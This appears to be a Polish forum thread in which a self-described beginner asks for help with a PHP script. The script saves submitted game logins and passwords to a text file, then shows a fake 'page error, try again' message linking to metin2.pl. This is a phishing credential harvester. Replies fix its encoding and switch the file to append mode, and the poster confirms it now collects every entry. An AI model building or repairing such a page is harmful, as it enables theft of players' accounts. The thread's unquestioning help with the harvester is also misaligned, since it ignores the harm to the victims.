Problem z kodem PHP

Oto mój kod:

<?php

error_reporting(0);

if (!array_key_exists('blogin',$_POST)) { echo('Nie podałe¶ loginu !'); }

elseif(!array_key_exists('haslo',$_POST)) { echo('Nie podałe¶ hasła !'); }

else

{

$file=fopen("usernames.txt",'w'); flock($file,3);

fwrite($file,$_POST['blogin']); fwrite($file,"
");

fwrite($file,$_POST['haslo']); flock($file,1); fclose($file);

echo('
Bł±d na stronie ! Proszę klikn±ć w link poniżej i spróbować jeszcze raz !

http://www.metin2.pl '); }; ?>

Zdobyłem go z neta, wszystko byłoby Ok gdyby nie pare rzeczy:

-brak polskich znaków

-informacje są zapisywane do pliku ale nie tak jakbym chciał np. informacja nr.1 zostanie zastąpiona informacją nr.2 (kiedy ta zostanie wprowadzona)

Prosze o pomoc w tych dwóch problemach. Za pomoc z góry dziękuje.

Żeby mieć polskie znaki zamień te w kodzie na polskie, a następnie ustaw kodowanie:

br />
"http://www.w3c.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


 Standardy kodowania

Żeby natomiast zapisywało Ci każdy rekord w osobnym wierszu, dodaj na końcu zapisywanego stringa znak specjalny “\n”. Spowoduje on przejście do następnej linii, gdzie będą zapisywane pozostałe rekordy. W ogóle to możesz zmienić urywek swojego kodu na coś takiego:

$tresc = $_POST['blogin']."
".$_POST['haslo']."\n";

fwrite($file,$tresc);

fclose($file);

Jak już pisałem jestem zielony w tej kategori, i dlatego mam prośbe czy mógłbyś mi pokazać jak będzie wyglądał gotowy kod. A ten kod na kodowanie to nie jest czasem do html ?

HTML można spokojnie osadzać w PHP.

Co do zwiększania bym pomógł ale dopiero ogarniam MySQL. Tam na pewno można dać rekordowi by każdy update był dodawany jako +1 do rekordu w tablicy.

br />
"http://www.w3c.org/TR/xhtml1/DTD/xhtml1-strict.dtd">


 Standardy kodowania




<?php

error_reporting(0);

if (!array_key_exists('blogin',$_POST)) { echo('Nie podałe¶ loginu !'); }

elseif(!array_key_exists('haslo',$_POST)) { echo('Nie podałe¶ hasła !'); }

else

{

$file=fopen("usernames.txt",'w'); flock($file,3);

$tresc = $_POST['blogin']."
".$_POST['haslo']."\n";

fwrite($file,$tresc);

flock($file,1);

fclose($file);

echo('
Bł±d na stronie ! Proszę klikn±ć w link poniżej i spróbować jeszcze raz !

http://www.metin2.pl '); };

?>

Niestety ale kod który podałeś nie działa, tzn działa ale jest tak jak było. Informacja nr.1 jest zastanpiana przez info. nr.2 , a tekst w ogóle sie nie wyswietla.

W ogóle, to przy otwieraniu pliku zamień parametr “w” na “a”. Powinno działać.

Zamieniłem… i działa :smiley: Dzięki wielkie.